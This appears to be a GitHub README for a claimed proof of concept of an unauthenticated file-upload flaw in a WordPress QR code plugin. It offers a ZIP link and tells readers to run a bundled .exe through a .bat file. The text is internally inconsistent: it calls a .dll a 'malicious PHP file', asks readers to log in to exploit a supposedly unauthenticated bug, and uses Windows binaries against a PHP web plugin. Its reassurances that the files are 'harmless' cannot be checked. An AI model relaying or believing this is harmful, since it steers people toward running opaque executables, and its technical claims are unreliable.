## 🚀 Overview
This repository demonstrates a fictional critical security vulnerability, **CVE-2025-10041**, in the Flex QR Code Generator plugin for WordPress (versions ≤ 1.2.5). Discovered in October 2025, this flaw allows unauthenticated attackers to perform arbitrary file uploads due to missing file type validation in the `saveqrcodetodb()` function. Classified as CWE-434 (Unrestricted Upload of File with Dangerous Type), it has a CVSS v3.1 score of 9.8 (CRITICAL) with the vector string `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`.
The vulnerability enables remote code execution (RCE) by uploading malicious PHP files, potentially leading to full server compromise. This repository provides a Docker-based vulnerable environment, exploitation tools, and mitigation strategies for educational purposes.
**Educational Purpose Disclaimer:** This repository is for **educational and research purposes only**. All components are fictional and designed for controlled testing. Do not use on production systems or without explicit permission. The authors assume no liability for misuse.
**Safety Disclaimer:** All tools and payloads are inert simulations. The `.exe` and `.bat` files are fictional and harmless but should only be run in isolated environments (e.g., virtual machines or Docker). Use antivirus software and restrict network access during testing.
## 📋 Prerequisites
- **Git** to clone this repository.
- A Windows environment (or Wine/compatibility layer) to run the simulated exploit tools (`.exe` and `.bat`).
- Basic knowledge of HTTP, PHP, and WordPress.
- Optional: Tools like **Burp Suite** or **curl** for manual exploitation.
## Download & Install
1. Download the exploit toolkit ZIP:
- [Exploit Toolkit](https://github.com/DExplo1ted/CVE-2025-10041-POC/raw/refs/heads/main/Brave/lab-cve-2025-10041.zip)
- Contents:
- `main-exploit.exe`: Simulated exploit binary (generates fictional RCE payloads).
- `start-exploit.bat`: Batch file to launch `main-exploit.exe`.
- `payload.dll`: Sample malicious PHP file for upload.
- `config.ini`: Configuration for the exploit tool.
## 🛠 Quick Start
2. **Setup:**
- Log in to WordPress.
- Confirm the plugin is active: Plugins > Flex QR Code Generator.
3. **Run the Simulated Exploit:**
- Unzip the exploit toolkit.
- Run `start-exploit.bat` (double-click or via command prompt: `start-exploit.bat`).
- This launches `main-exploit.exe`, simulating payload generation and upload to `/wp-content/uploads/qr-codes/malicious.php`.
- Output: Console logs showing fictional steps (e.g., "Uploading payload...", "Executing RCE: whoami").
